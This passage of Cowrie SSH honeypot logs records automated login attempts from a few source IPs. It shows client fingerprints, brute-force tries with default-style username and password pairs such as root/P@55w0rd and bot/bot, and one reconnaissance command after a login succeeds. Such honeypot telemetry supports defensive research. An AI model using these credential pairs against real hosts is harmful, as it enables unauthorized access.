t-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:11:07.960317Z","src_ip":"47.86.95.62","session":"05dd39022a3a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"bot","password":"bot","message":"login attempt [bot/bot] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:11:08.646986Z","src_ip":"47.86.95.62","session":"05dd39022a3a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:11:09.091288Z","src_ip":"47.86.95.62","session":"05dd39022a3a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:11:09.094508Z","src_ip":"47.86.95.62","session":"05dd39022a3a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:11:09.300797Z","src_ip":"47.86.95.62","session":"05dd39022a3a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:11:09.305962Z","src_ip":"47.86.95.62","session":"05dd39022a3a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":55966,"dst_ip":"10.17.0.5","dst_port":22,"session":"beea484515a3","protocol":"ssh","message":"New connection: 47.86.95.62:55966 (10.17.0.5:22) [session: beea484515a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:11:12.778756Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:11:12.784270Z","src_ip":"47.86.95.62","session":"beea484515a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:11:12.993405Z","src_ip":"47.86.95.62","session":"beea484515a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"opc","password":"opc","message":"login attempt [opc/opc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:11:25.239196Z","src_ip":"47.86.95.62","session":"beea484515a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"14.1","message":"Connection lost after 14.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:11:26.875150Z","src_ip":"47.86.95.62","session":"beea484515a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":46476,"dst_ip":"10.17.0.5","dst_port":22,"session":"3c7814832599","protocol":"ssh","message":"New connection: 47.86.95.62:46476 (10.17.0.5:22) [session: 3c7814832599]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:11:34.862281Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:11:34.871543Z","src_ip":"47.86.95.62","session":"3c7814832599","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:11:35.082620Z","src_ip":"47.86.95.62","session":"3c7814832599","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amir","password":"amir","message":"login attempt [amir/amir] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:11:35.789694Z","src_ip":"47.86.95.62","session":"3c7814832599","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:11:37.004421Z","src_ip":"47.86.95.62","session":"3c7814832599","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.184.143","src_port":37298,"dst_ip":"159.203.135.109","dst_port":22,"session":"f568ca395beb","protocol":"ssh","message":"New connection: 209.99.184.143:37298 (159.203.135.109:22) [session: f568ca395beb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:11:39.625899Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:11:39.630656Z","src_ip":"209.99.184.143","session":"f568ca395beb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:11:39.726725Z","src_ip":"209.99.184.143","session":"f568ca395beb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":46478,"dst_ip":"10.17.0.5","dst_port":22,"session":"75c9fc52e490","protocol":"ssh","message":"New connection: 47.86.95.62:46478 (10.17.0.5:22) [session: 75c9fc52e490]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:11:39.732920Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:11:39.737260Z","src_ip":"47.86.95.62","session":"75c9fc52e490","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:11:39.951328Z","src_ip":"47.86.95.62","session":"75c9fc52e490","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rootuser","password":"rootuser@2024","message":"login attempt [rootuser/rootuser@2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:11:40.145437Z","src_ip":"209.99.184.143","session":"f568ca395beb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@55w0rd","message":"login attempt [root/P@55w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:11:40.607090Z","src_ip":"47.86.95.62","session":"75c9fc52e490","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:11:41.244380Z","src_ip":"209.99.184.143","session":"f568ca395beb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:11:41.822029Z","src_ip":"47.86.95.62","session":"75c9fc52e490","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":53398,"dst_ip":"10.17.0.5","dst_port":22,"session":"3a800331234e","protocol":"ssh","message":"New connection: 47.86.95.62:53398 (10.17.0.5:22) [session: 3a800331234e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:11:54.285688Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:12:06.788574Z","src_ip":"47.86.95.62","session":"3a800331234e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:12:06.794932Z","src_ip":"47.86.95.62","session":"3a800331234e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"www","password":"www","message":"login attempt [www/www] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:12:18.398247Z","src_ip":"47.86.95.62","session":"3a800331234e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"25.5","message":"Connection lost after 25.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:12:19.796029Z","src_ip":"47.86.95.62","session":"3a800331234e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":39122,"dst_ip":"10.17.0.5","dst_port":22,"session":"c5cc97fd7cce","protocol":"ssh","message":"New connection: 47.86.95.62:39122 (10.17.0.5:22) [session: c5cc97fd7cce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:12:31.355779Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:12:31.376200Z","src_ip":"47.86.95.62","session":"c5cc97fd7cce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:12:31.570531Z","src_ip":"47.86.95.62","session":"c5cc97fd7cce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elastic","password":"elastic","message":"login attempt [elastic/elastic] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:12:32.673732Z","src_ip":"47.86.95.62","session":"c5cc97fd7cce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:12:33.887264Z","src_ip":"47.86.95.62","session":"c5cc97fd7cce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":39126,"dst_ip":"10.17.0.5","dst_port":22,"session":"6d8c76fe6eab","protocol":"ssh","message":"New connection: 47.86.95.62:39126 (10.17.0.5:22) [session: 6d8c76fe6eab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:12:36.616530Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:12:36.622812Z","src_ip":"47.86.95.62","session":"6d8c76fe6eab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:12:36.826486Z","src_ip":"47.86.95.62","session":"6d8c76fe6eab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"plex","password":"plex","message":"login attempt [plex/plex] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:12:37.436922Z","src_ip":"47.86.95.62","session":"6d8c76fe6eab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:12:38.642713Z","src_ip":"47.86.95.62","session":"6d8c76fe6eab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":54956,"dst_ip":"10.17.0.5","dst_port":22,"session":"49b8f0c905c7","protocol":"ssh","message":"New connection: 47.86.95.62:54956 (10.17.0.5:22) [session: 49b8f0c905c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:12:41.301863Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:12:41.437186Z","src_ip":"47.86.95.62","session":"49b8f0c905c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":[